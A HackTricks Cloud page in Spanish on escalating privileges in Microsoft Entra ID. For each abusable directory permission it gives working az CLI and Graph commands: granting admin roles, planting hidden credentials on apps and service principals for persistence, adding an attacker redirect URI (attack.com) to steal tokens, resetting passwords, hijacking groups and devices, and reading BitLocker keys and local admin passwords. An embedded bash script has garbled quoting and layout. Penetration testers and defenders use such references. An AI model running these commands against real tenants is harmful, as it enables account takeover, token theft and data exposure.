Az - EntraID Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Note
Ten en cuenta que no todos los permisos granulares que los roles incorporados tienen en Entra ID son elegibles para usarse en roles personalizados.
Roles
Role: Privileged Role Administrator
Este rol contiene los permisos granulares necesarios para asignar roles a principals y para otorgar más permisos a roles. Ambas acciones podrían ser abusadas para escalar privilegios.
- Asignar un rol a un usuario:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Agregar más permisos a un rol:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Aplicaciones
microsoft.directory/applications/credentials/update
Esto permite a un atacante añadir credenciales (contraseñas o certificados) a aplicaciones existentes. Si la aplicación tiene permisos privilegiados, el atacante puede autenticarse como esa aplicación y obtener esos privilegios.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Esto permite las mismas acciones que applications/credentials/update, pero limitadas a aplicaciones de un solo directorio.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Al agregarse como owner, un atacante puede manipular la aplicación, incluyendo credentials y permissions.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Un atacante puede añadir un URI de redirección a aplicaciones que estén siendo usadas por usuarios del tenant y luego compartir con ellos URLs de inicio de sesión que usen el nuevo URI de redirección con el fin de robar sus tokens. Ten en cuenta que si el usuario ya estaba autenticado en la aplicación, la autenticación será automática sin que el usuario tenga que aceptar nada.
Ten en cuenta también que es posible cambiar los permisos que solicita la aplicación para obtener más privilegios, pero en ese caso el usuario tendrá que aceptar de nuevo el aviso pidiendo todos los permisos.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Escalada de privilegios de aplicaciones
Como se explica en esta entrada era muy común encontrar aplicaciones predeterminadas que tienen API permissions de tipo Application asignadas. Un API Permission (tal como aparece en la consola de Entra ID) de tipo Application significa que la aplicación puede acceder a la API y realizar acciones sin un contexto de usuario (sin un usuario iniciando sesión en la app), y sin necesitar roles de Entra ID que lo permitan. Por ello, es muy común encontrar aplicaciones con altos privilegios en cada tenant de Entra ID.
Entonces, si un atacante dispone de cualquier permiso/rol que le permita actualizar las credenciales (secret o certificate) de la aplicación, puede generar una nueva credencial y usarla para autenticarse como la aplicación, obteniendo todos los permisos que la aplicación posee.
Ten en cuenta que el blog mencionado comparte algunas API permissions de aplicaciones predeterminadas comunes de Microsoft; sin embargo, algún tiempo después de este informe Microsoft solucionó este problema y ya no es posible login como aplicaciones de Microsoft. Aun así, sigue siendo posible encontrar custom applications con altos privilegios que podrían ser abusadas.
Cómo enumerar las API permissions de una aplicación:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encontrar todos los permisos de API de las aplicaciones y marcar las APIs propiedad de Microsoft
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Esto permite a un atacante añadir credenciales a service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
La nueva contraseña generada no aparecerá en la consola web, así que esto podría ser una forma sigilosa de mantener persistencia sobre un service principal.
Desde la API se pueden encontrar con:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Si obtienes el error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." es porque no es posible modificar la propiedad passwordCredentials del SP y primero necesitas desbloquearla. Para ello necesitas un permiso (microsoft.directory/applications/allProperties/update) que te permite ejecutar:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Esto permite a un atacante añadir credenciales a los service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Al igual que con las aplicaciones, este permiso permite agregar más propietarios a un service principal. Ser propietario de un service principal permite controlar sus credenciales y permisos.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Después de añadir un nuevo propietario, intenté eliminarlo pero la API respondió que el método DELETE no era compatible, aun cuando es el método que necesitas usar para eliminar al propietario. Así que ya no puedes eliminar propietarios.
microsoft.directory/servicePrincipals/disable and enable
Estos permisos permiten deshabilitar y habilitar service principals. Un atacante podría usar este permiso para habilitar un service principal al que consiga acceder de alguna manera para escalar privilegios.
Ten en cuenta que para esta técnica el atacante necesitará más permisos para tomar el control del service principal habilitado.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Estos permisos permiten crear y obtener credenciales para single sign-on, lo que podría permitir el acceso a aplicaciones de terceros.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Grupos
microsoft.directory/groups/allProperties/update
Este permiso permite agregar usuarios a grupos privilegiados, lo que conduce a privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Este permiso excluye los grupos asignables a roles de Entra ID.
microsoft.directory/groups/owners/update
Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, pudiendo potencialmente escalar privilegios sobre el grupo.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Este permiso excluye Entra ID role-assignable groups.
microsoft.directory/groups/members/update
Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo u otras cuentas maliciosas a grupos privilegiados, lo que podría otorgar acceso elevado.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Este permiso permite actualizar la regla de membresía en un grupo dinámico. Un atacante podría modificar las reglas dinámicas para incluirse a sí mismo en grupos privilegiados sin una adición explícita.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Nota: Este permiso excluye Entra ID role-assignable groups.
Dynamic Groups Privesc
Podría ser posible que los usuarios escalen privilegios al modificar sus propias propiedades para ser añadidos como miembros de dynamic groups. Para más información consulta:
Usuarios
microsoft.directory/users/password/update
Este permiso permite restablecer la contraseña de usuarios que no son administradores, lo que permite a un atacante potencial escalar privilegios a otros usuarios. Este permiso no puede asignarse a roles personalizados.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Este privilegio permite modificar las propiedades del usuario. Es común encontrar grupos dinámicos que agregan usuarios según los valores de sus propiedades; por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Las conditional access policies mal configuradas que requieren MFA podrían ser bypassed; revisa:
Az - Conditional Access Policies & MFA Bypass
Dispositivos
microsoft.directory/devices/registeredOwners/update
Este permiso permite a los atacantes asignarse a sí mismos como propietarios de dispositivos para obtener control o acceder a configuraciones y datos específicos del dispositivo.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Este permiso permite a los atacantes leer las propiedades de las credenciales de la cuenta de administrador local respaldadas para dispositivos unidos a Microsoft Entra, incluyendo la password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Este permiso permite acceder a las claves de BitLocker, lo que podría permitir a un atacante descifrar unidades, comprometiendo la confidencialidad de los datos.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Otros permisos interesantes (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

